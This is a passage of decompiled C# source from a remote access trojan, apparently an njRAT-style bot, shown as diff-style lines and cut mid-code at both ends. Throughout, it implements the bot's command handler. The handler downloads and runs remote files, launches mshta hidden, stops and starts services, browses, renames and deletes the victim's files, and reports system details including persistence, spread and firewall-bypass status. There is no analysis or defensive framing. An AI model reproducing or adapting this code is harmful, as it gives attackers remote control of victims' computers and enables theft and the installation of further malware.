- ref bool local13 = ref flag;
- RegistryKey registryKey = IND.Rk(ref local12, ref local13);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num7,
- (object) str10
- }, (string[]) null, true, false);
- registryKey.CreateSubKey(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 3
- }, (string[]) null)));
- }
- }
- else if (Operators.CompareString(Left1, "#k", false) == 0)
- {
- IND.ER = 1;
- if (File.Exists(Application.StartupPath + "\\" + B.exename) && FileSystem.FileLen(Application.StartupPath + "\\" + B.exename) > 0L)
- {
- B b = MyProject.Forms.B;
- string str11 = "#k" + IND.Y + File.ReadAllText(Application.StartupPath + "\\" + B.exename);
- ref string local = ref str11;
- b.SEND(ref local);
- }
- else
- {
- B b = MyProject.Forms.B;
- string str12 = "#k" + IND.Y + "..";
- ref string local = ref str12;
- b.SEND(ref local);
- }
- }
- else if (Operators.CompareString(Left1, "#X", false) == 0)
- {
- IND.ER = 0;
- int num8 = 8 + NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null).ToString().Length;
- MemoryStream memoryStream = new MemoryStream();
- int num9 = num8;
- int num10 = Da.Length - 1;
- for (int index = num9; index <= num10; ++index)
- memoryStream.WriteByte(Da[index]);
- byte[] array = memoryStream.ToArray();
- bool flag = false;
- ref bool local = ref flag;
- byte[] bytes = API.ZIP(array, ref local);
- int num11 = 0;
- do
- {
- if (File.Exists(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null)))))
- {
- try
- {
- File.Delete(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null))));
- File.WriteAllBytes(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null))), bytes);
- NewLateBinding.LateCall((object) null, typeof (Process), "Start", new object[1]
- {
- Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null))
- }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
- break;
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- ++num11;
- }
- else
- {
- File.WriteAllBytes(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null))), bytes);
- NewLateBinding.LateCall((object) null, typeof (Process), "Start", new object[1]
- {
- Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null))
- }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
- break;
- }
- }
- while (num11 <= 999);
- }
- else if (Operators.CompareString(Left1, "##", false) == 0)
- {
- IND.ER = 5;
- MyProject.Computer.Registry.CurrentUser.SetValue("p", RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null)));
- B b = MyProject.Forms.B;
- string str13 = "plugin";
- ref string local = ref str13;
- b.SEND(ref local);
- }
- else if (Operators.CompareString(Left1, "#Rec", false) == 0)
- {
- B.XRec = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null));
- MyProject.Forms.B.Dis();
- }
- else if (Operators.CompareString(Left1, "#ser0", false) == 0)
- {
- IND.ER = 1;
- string str14;
- string s;
- foreach (ServiceController service in ServiceController.GetServices())
- {
- string str15 = str14;
- string y = IND.Y;
- s = service.ServiceName + "{}" + Strings.Replace(Strings.Replace(Conversions.ToString(service.CanStop), Conversions.ToString(true), "Yes"), Conversions.ToString(false), "No") + "{}" + service.Status.ToString() + "{}" + service.DisplayName;
- string str16 = API.ENB(ref s);
- str14 = str15 + y + str16;
- }
- B b = MyProject.Forms.B;
- s = "#ser0" + str14;
- ref string local = ref s;
- b.SEND(ref local);
- }
- else if (Operators.CompareString(Left1, "#ser1", false) == 0)
- {
- IND.ER = 1;
- foreach (ServiceController service in ServiceController.GetServices())
- {
- if (Operators.ConditionalCompareObjectEqual((object) service.ServiceName, NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null), false))
- service.Start();
- }
- }
- else if (Operators.CompareString(Left1, "#ser2", false) == 0)
- {
- IND.ER = 1;
- foreach (ServiceController service in ServiceController.GetServices())
- {
- if (Operators.ConditionalCompareObjectEqual((object) service.ServiceName, NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null), false))
- service.Stop();
- }
- }
- else if (Operators.CompareString(Left1, "#R", false) == 0)
- {
- IND.ER = 0;
- B.Nkey.SetValue("vname", RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null)));
- B.Vname = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null));
- B b = MyProject.Forms.B;
- string str17 = Conversions.ToString(Operators.ConcatenateObject((object) ("#R" + IND.Y), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null)));
- ref string local = ref str17;
- b.SEND(ref local);
- }
- else if (Operators.CompareString(Left1, "ping", false) == 0)
- {
- B b = MyProject.Forms.B;
- string str18 = "pong";
- ref string local = ref str18;
- b.SEND(ref local);
- }
- else if (Operators.CompareString(Left1, "#0", false) == 0)
- {
- IND.ER = 0;
- B b1 = MyProject.Forms.B;
- string str19 = "#red";
- ref string local14 = ref str19;
- b1.SEND(ref local14);
- Thread thread = new Thread((ParameterizedThreadStart) (a0 => IND.Du((Array) a0)));
- Array Instance7 = Instance1;
- object[] objArray9 = new object[1];
- object[] objArray10 = objArray9;
- int num12 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local15 = (ValueType) num12;
- objArray10[0] = (object) local15;
- object[] Arguments = objArray9;
- string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance7, Arguments, (string[]) null));
- string Expression = API.DEB(ref s);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num12,
- (object) s
- }, (string[]) null, true, false);
- string y = IND.Y;
- IND.Du((Array) Strings.Split(Expression, y));
- do
- {
- num1 = 0;
- Thread.Sleep(5);
- }
- while (thread.IsAlive);
- B b2 = MyProject.Forms.B;
- string str20 = "#Bla";
- ref string local16 = ref str20;
- b2.SEND(ref local16);
- }
- else if (Operators.CompareString(Left1, "#1", false) == 0)
- {
- B b3 = MyProject.Forms.B;
- string str21 = "#red";
- ref string local17 = ref str21;
- b3.SEND(ref local17);
- IND.ER = 0;
- Thread thread = new Thread((ParameterizedThreadStart) (a0 => IND.DT((Array) a0)));
- Array Instance8 = Instance1;
- object[] objArray11 = new object[1];
- object[] objArray12 = objArray11;
- int num13 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local18 = (ValueType) num13;
- objArray12[0] = (object) local18;
- object[] Arguments = objArray11;
- string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance8, Arguments, (string[]) null));
- string Expression = API.DEB(ref s);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num13,
- (object) s
- }, (string[]) null, true, false);
- string y = IND.Y;
- IND.DT((Array) Strings.Split(Expression, y));
- do
- {
- num1 = 1;
- Thread.Sleep(5);
- }
- while (thread.IsAlive);
- B b4 = MyProject.Forms.B;
- string str22 = "#Bla";
- ref string local19 = ref str22;
- b4.SEND(ref local19);
- }
- else if (Operators.CompareString(Left1, "#2", false) == 0)
- {
- IND.ER = 0;
- string str23 = "." + Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null)), ".")[Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null)), ".").Length - 1];
- int num14 = 0;
- while (File.Exists(Interaction.Environ("appdata") + "\\" + Conversions.ToString(num14) + str23))
- {
- try
- {
- File.Delete(Interaction.Environ("appdata") + "\\" + Conversions.ToString(num14) + str23);
- int num15;
- ++num15;
- if (num15 > 5)
- return;
- continue;
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- ++num14;
- if (num14 > 9999)
- return;
- }
- string fileName = Interaction.Environ("appdata") + "\\" + Conversions.ToString(num14) + str23;
- Network network = MyProject.Computer.Network;
- object[] objArray13 = new object[2];
- object[] objArray14 = objArray13;
- Array Instance9 = Instance1;
- object[] objArray15 = new object[1];
- object[] objArray16 = objArray15;
- int num16 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local = (ValueType) num16;
- objArray16[0] = (object) local;
- object[] Arguments1 = objArray15;
- object objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance9, Arguments1, (string[]) null));
- objArray14[0] = objectValue;
- objArray13[1] = (object) fileName;
- object[] objArray17 = objArray13;
- object[] Arguments2 = objArray17;
- bool[] flagArray = new bool[2]{ true, true };
- bool[] CopyBack = flagArray;
- NewLateBinding.LateCall((object) network, (System.Type) null, "DownloadFile", Arguments2, (string[]) null, (System.Type[]) null, CopyBack, true);
- if (flagArray[0])
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num16,
- RuntimeHelpers.GetObjectValue(objArray17[0])
- }, (string[]) null, true, false);
- if (flagArray[1])
- fileName = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray17[1]), typeof (string));
- Process.Start(fileName);
- }
- else if (Operators.CompareString(Left1, "#3", false) == 0)
- {
- IND.ER = 0;
- MemoryStream memoryStream = new MemoryStream();
- byte[] bytes1 = Encoding.Default.GetBytes("#4" + IND.Y);
- memoryStream.Write(bytes1, 0, bytes1.Length);
- Encoding encoding = Encoding.Default;
- ref byte[] local20 = ref C.Plug;
- string str24 = "plugin.C";
- ref string local21 = ref str24;
- string str25 = "Pass";
- ref string local22 = ref str25;
- object obj = (object) null;
- ref object local23 = ref obj;
- string s1 = Conversions.ToString(C.inv(ref local20, ref local21, ref local22, ref local23));
- string s2 = API.ENB(ref s1);
- byte[] bytes2 = encoding.GetBytes(s2);
- bool flag = true;
- ref bool local24 = ref flag;
- byte[] buffer = API.ZIP(bytes2, ref local24);
- memoryStream.Write(buffer, 0, buffer.Length);
- MyProject.Forms.B.WC.SendData(memoryStream.ToArray());
- }
- else if (Operators.CompareString(Left1, "#4", false) == 0)
- {
- if (B.Rec)
- ProjectData.EndApp();
- IND.ER = 0;
- try
- {
- MyProject.Forms.B.BW.B.Dispose();
- A.fj.Dispose();
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null), (object) "!", false))
- {
- try
- {
- MyProject.Computer.Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(B.SU);
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- try
- {
- MyProject.Computer.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(B.SU);
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- try
- {
- B.Nkey.DeleteValue("vname");
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- try
- {
- B.Nkey.DeleteValue("FL");
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- try
- {
- foreach (DriveInfo drive in DriveInfo.GetDrives())
- {
- if (drive.IsReady)
- {
- if (drive.TotalFreeSpace > 0L)
- {
- try
- {
- if (File.Exists(drive.Name + B.Uo))
- File.Delete(drive.Name + B.Uo);
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- }
- }
- }
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- foreach (Process process in Process.GetProcessesByName("wscript"))
- {
- try
- {
- process.Kill();
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- }
- try
- {
- string path = Application.StartupPath + "\\j.vbs";
- string w = n.My.Resources.Resources.W;
- string contents = API.DEB(ref w).Replace("NJ", Application.ExecutablePath);
- File.WriteAllText(path, contents);
- Process.Start(Application.StartupPath + "\\j.vbs");
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- }
- ProjectData.EndApp();
- }
- else if (Operators.CompareString(Left1, "#5", false) == 0)
- {
- IND.ER = 0;
- Process process = Process.Start(new ProcessStartInfo()
- {
- FileName = "mshta.exe",
- Arguments = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null)),
- CreateNoWindow = true,
- WindowStyle = ProcessWindowStyle.Hidden
- });
- Thread.Sleep(60000);
- try
- {
- process.Kill();
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- }
- else if (Operators.CompareString(Left1, "#6", false) == 0)
- {
- IND.ER = 0;
- try
- {
- MyProject.Forms.B.BW.B.Dispose();
- if (A.fj.Id > 1)
- A.fj.Kill();
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- Process.Start(Application.ExecutablePath);
- ProjectData.EndApp();
- }
- else if (Operators.CompareString(Left1, "#7", false) == 0)
- {
- IND.ER = 2;
- Array Instance10 = Instance1;
- object[] objArray18 = new object[1];
- object[] objArray19 = objArray18;
- int num17 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local25 = (ValueType) num17;
- objArray19[0] = (object) local25;
- object[] Arguments = objArray18;
- int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance10, Arguments, (string[]) null));
- byte[] numArray = sc.gc(ref integer);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num17,
- (object) integer
- }, (string[]) null, true, false);
- byte[] buffer = numArray;
- if (buffer.Length == 0)
- {
- B b = MyProject.Forms.B;
- string str26 = "#5" + IND.Y + Conversions.ToString(0);
- ref string local26 = ref str26;
- b.SEND(ref local26);
- }
- else
- {
- MemoryStream memoryStream = new MemoryStream();
- memoryStream.Write(Encoding.Default.GetBytes("#6" + IND.Y), 0, IND.Y.Length + 2);
- memoryStream.Write(buffer, 0, buffer.Length);
- MyProject.Forms.B.WC.SendData(memoryStream.ToArray());
- }
- }
- else if (Operators.CompareString(Left1, "#8", false) == 0)
- {
- string Right = "\r\n";
- string str27;
- string s = Conversions.ToString(Operators.AddObject((object) (str27 + "PC InfoX*X==" + Right + "PC\\UserX*X" + B.PC + Right + "CountryX*X" + API.Gc() + Right + "OSX*X" + MyProject.Computer.Info.OSFullName.Replace("Windows", "").Replace(" ", " ").Replace("Microsoft", "").Replace("®", "").Replace("™", "") + Right), Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) "ProcessorX*X", MyProject.Computer.Registry.LocalMachine.OpenSubKey("HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0").GetValue("~mhz")), (object) " *"), (object) Environment.ProcessorCount), (object) "~MHZ"), (object) Right))) + "RAMX*X" + IND.siz(Conversions.ToString(MyProject.Computer.Info.TotalPhysicalMemory)) + Right + "UpTimeX*X" + Strings.Split(Strings.Mid(Conversions.ToString((double) Environment.TickCount / 3600000.0), 1, 5), ".")[0] + " :Hours" + Right + "Server InfoX*X==" + Right + "ServerX*X" + API.DEB(ref B.Vname) + Right + "Host:PortX*X" + B.no + Right + "DirectoryX*X" + Application.StartupPath + Right + "ExeNameX*X" + AppDomain.CurrentDomain.FriendlyName + Right + "Process IDX*X" + Conversions.ToString(Process.GetCurrentProcess().Id) + Right + "StartupX*X" + B.SU + Right + "PersistantX*X" + Conversions.ToString(B.UU) + Right + "SpreadX*X" + B.spread + Right + "MutexX*X" + B.mU + Right + "First RunX*X" + B.FR + Right + "RegKeyX*X" + B.Nkey.Name + Right + "Firewall BypassX*X" + Strings.Replace(B.Fw.ToString(), "True", "Yes").Replace("False", "No");
- B b = MyProject.Forms.B;
- string str28 = "#7" + IND.Y + API.ENB(ref s);
- ref string local = ref str28;
- b.SEND(ref local);
- }
- else if (Operators.CompareString(Left1, "#9", false) == 0)
- {
- IND.ER = 1;
- string str29;
- string s;
- foreach (DriveInfo drive in DriveInfo.GetDrives())
- {
- if (drive.IsReady)
- {
- string str30 = str29;
- string y = IND.Y;
- s = drive.Name;
- string str31 = API.ENB(ref s);
- str29 = str30 + y + str31;
- }
- }
- B b = MyProject.Forms.B;
- string[] strArray1 = new string[8];
- strArray1[0] = "#8";
- strArray1[1] = str29;
- strArray1[2] = IND.Y;
- string[] strArray2 = strArray1;
- string desktop = MyProject.Computer.FileSystem.SpecialDirectories.Desktop;
- string str32 = API.ENB(ref desktop);
- strArray2[3] = str32;
- strArray1[4] = IND.Y;
- string[] strArray3 = strArray1;
- string myDocuments = MyProject.Computer.FileSystem.SpecialDirectories.MyDocuments;
- string str33 = API.ENB(ref myDocuments);
- strArray3[5] = str33;
- strArray1[6] = IND.Y;
- string[] strArray4 = strArray1;
- s = MyProject.Computer.FileSystem.SpecialDirectories.Temp;
- string str34 = API.ENB(ref s);
- strArray4[7] = str34;
- string str35 = string.Concat(strArray1);
- ref string local = ref str35;
- b.SEND(ref local);
- }
- else if (Operators.CompareString(Left1, "#10", false) == 0)
- {
- IND.ER = 1;
- Array Instance11 = Instance1;
- object[] objArray20 = new object[1];
- object[] objArray21 = objArray20;
- int num18 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local27 = (ValueType) num18;
- objArray21[0] = (object) local27;
- object[] Arguments3 = objArray20;
- string s3 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance11, Arguments3, (string[]) null));
- string path1 = API.DEB(ref s3);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num18,
- (object) s3
- }, (string[]) null, true, false);
- string str36;
- foreach (string directory in Directory.GetDirectories(path1))
- {
- string str37 = str36;
- string y = IND.Y;
- string Expression = directory;
- Array Instance12 = Instance1;
- object[] objArray22 = new object[1];
- object[] objArray23 = objArray22;
- int num19 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local28 = (ValueType) num19;
- objArray23[0] = (object) local28;
- object[] Arguments4 = objArray22;
- string s4 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance12, Arguments4, (string[]) null));
- string Find = API.DEB(ref s4);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num19,
- (object) s4
- }, (string[]) null, true, false);
- string s5 = Strings.Replace(Expression, Find, "") + "*DIR";
- string str38 = API.ENB(ref s5);
- str36 = str37 + y + str38;
- }
- string[] strArray5 = new string[5]
- {
- "png",
- "jpg",
- "jpeg",
- "bmp",
- "ico"
- };
- Array Instance13 = Instance1;
- object[] objArray24 = new object[1];
- object[] objArray25 = objArray24;
- int num20 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local29 = (ValueType) num20;
- objArray25[0] = (object) local29;
- object[] Arguments5 = objArray24;
- string s6 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance13, Arguments5, (string[]) null));
- string path2 = API.DEB(ref s6);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num20,
- (object) s6
- }, (string[]) null, true, false);
- foreach (string file in Directory.GetFiles(path2))
- {
- bool flag;
- foreach (string str39 in strArray5)
- {
- if (Operators.CompareString(str39.ToLower(), Strings.Split(file, ".")[Strings.Split(file, ".").Length - 1].ToLower(), false) == 0)
- {
- flag = true;
- break;
- }
- }
- string s7;
- if (flag)
- {
- try
- {
- Image image = Image.FromFile(file);
- MemoryStream memoryStream = new MemoryStream();
- EncoderParameters encoderParams = new EncoderParameters(1);
- encoderParams.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 40L);
- ImageCodecInfo encoderInfo = sc.GetEncoderInfo("image/jpeg");
- image.GetThumbnailImage(20, 20, (Image.GetThumbnailImageAbort) null, IntPtr.Zero).Save((Stream) memoryStream, encoderInfo, encoderParams);
- string str40 = str36;
- string y = IND.Y;
- string[] strArray6 = new string[5];
- string[] strArray7 = strArray6;
- string Expression = file;
- Array Instance14 = Instance1;
- object[] objArray26 = new object[1];
- object[] objArray27 = objArray26;
- int num21 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local30 = (ValueType) num21;
- objArray27[0] = (object) local30;
- object[] Arguments6 = objArray26;
- string s8 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance14, Arguments6, (string[]) null));
- string Find = API.DEB(ref s8);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num21,
- (object) s8
- }, (string[]) null, true, false);
- string str41 = Strings.Replace(Expression, Find, "");
- strArray7[0] = str41;
- strArray6[1] = "*";
- strArray6[2] = Conversions.ToString(FileSystem.FileLen(file));
- strArray6[3] = "*";
- strArray6[4] = API.FEN(memoryStream.ToArray());
- s7 = string.Concat(strArray6);
- string str42 = API.ENB(ref s7);
- str36 = str40 + y + str42;
- memoryStream.Dispose();
- encoderParams.Dispose();
- image.Dispose();
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- string str43 = str36;
- string y = IND.Y;
- string Expression = file;
- Array Instance15 = Instance1;
- object[] objArray28 = new object[1];
- object[] objArray29 = objArray28;
- int num22 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local31 = (ValueType) num22;
- objArray29[0] = (object) local31;
- object[] Arguments7 = objArray28;
- string s9 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance15, Arguments7, (string[]) null));
- string Find = API.DEB(ref s9);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num22,
- (object) s9
- }, (string[]) null, true, false);
- string s10 = Strings.Replace(Expression, Find, "") + "*" + Conversions.ToString(FileSystem.FileLen(file));
- string str44 = API.ENB(ref s10);
- str36 = str43 + y + str44;
- ProjectData.ClearProjectError();
- }
- }
- else
- {
- string str45 = str36;
- string y = IND.Y;
- string Expression = file;
- Array Instance16 = Instance1;
- object[] objArray30 = new object[1];
- object[] objArray31 = objArray30;
- int num23 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local32 = (ValueType) num23;
- objArray31[0] = (object) local32;
- object[] Arguments8 = objArray30;
- string s11 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance16, Arguments8, (string[]) null));
- string Find = API.DEB(ref s11);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num23,
- (object) s11
- }, (string[]) null, true, false);
- s7 = Strings.Replace(Expression, Find, "") + "*" + Conversions.ToString(FileSystem.FileLen(file));
- string str46 = API.ENB(ref s7);
- str36 = str45 + y + str46;
- }
- }
- B b = MyProject.Forms.B;
- string str47 = "#9" + str36;
- ref string local33 = ref str47;
- b.SEND(ref local33);
- }
- else if (Operators.CompareString(Left1, "#11", false) == 0)
- {
- IND.ER = 1;
- int num24 = Instance1.Length - 1;
- for (int index = 1; index <= num24; ++index)
- {
- try
- {
- string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) index
- }, (string[]) null));
- string fileName = API.DEB(ref s);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) index,
- (object) s
- }, (string[]) null, true, false);
- Process.Start(fileName);
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- }
- }
- else if (Operators.CompareString(Left1, "#12", false) == 0)
- {
- IND.ER = 1;
- Array Instance17 = Instance1;
- object[] objArray32 = new object[1];
- object[] objArray33 = objArray32;
- int num25 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local = (ValueType) num25;
- objArray33[0] = (object) local;
- object[] Arguments = objArray32;
- string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance17, Arguments, (string[]) null));
- string Expression = API.DEB(ref s);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num25,
- (object) s
- }, (string[]) null, true, false);
- Array Instance18 = (Array) Strings.Split(Expression, "\r\n");
- if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance18, new object[1]
- {
- (object) 3
- }, (string[]) null), (object) "DIR", false))
- MyProject.Computer.FileSystem.RenameDirectory(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance18, new object[1]
- {
- (object) 0
- }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance18, new object[1]
- {
- (object) 1
- }, (string[]) null))), "\\\\", "\\"), Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance18, new object[1]
- {
- (object) 2
- }, (string[]) null)));
- else
- MyProject.Computer.FileSystem.RenameFile(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance18, new object[1]
- {
- (object) 0
- }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance18, new object[1]
- {
- (object) 1
- }, (string[]) null))), "\\\\", "\\"), Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance18, new object[1]
- {
- (object) 2
- }, (string[]) null)));
- }
- else if (Operators.CompareString(Left1, "#13", false) == 0)
- {
- IND.ER = 1;
- int num26 = Instance1.Length - 1;
- for (int index = 1; index <= num26; ++index)
- {
- string s12 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) index
- }, (string[]) null));
- string path3 = API.DEB(ref s12);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) index,
- (object) s12
- }, (string[]) null, true, false);
- if (Directory.Exists(path3))
- {
- try
- {
- string s13 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) index
- }, (string[]) null));
- string path4 = API.DEB(ref s13);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) index,
- (object) s13
- }, (string[]) null, true, false);
- Directory.Delete(path4, true);
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- }
- else
- {
- try
- {
- string s14 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) index
- }, (string[]) null));
- string path5 = API.DEB(ref s14);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) index,
- (object) s14
- }, (string[]) null, true, false);
- File.Delete(path5);
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- }
- }
- }
- else if (Operators.CompareString(Left1, "#14", false) == 0)
- {
- IND.ER = 1;
- Array Instance19 = Instance1;
- object[] objArray34 = new object[1];
- object[] objArray35 = objArray34;
- int num27 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local = (ValueType) num27;
- objArray35[0] = (object) local;
- object[] Arguments = objArray34;
- string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance19, Arguments, (string[]) null));
- string Path = API.DEB(ref s);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num27,
- (object) s
- }, (string[]) null, true, false);
- FileSystem.MkDir(Path);
- }
- else if (Operators.CompareString(Left1, "#15", false) == 0)
- {
- IND.ER = 1;
- int num28 = Instance1.Length - 1;
- for (int index = 1; index <= num28; ++index)
- {
- string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) index
- }, (string[]) null));
- string Expression = API.DEB(ref s);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) index,
- (object) s
- }, (string[]) null, true, false);
- Array Instance20 = (Array) Strings.Split(Expression, "\r\n");
- if (Directory.Exists(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance20, new object[1]
- {
- (object) 0
- }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance20, new object[1]
- {
- (object) 1
- }, (string[]) null))), "\\\\", "\\")))
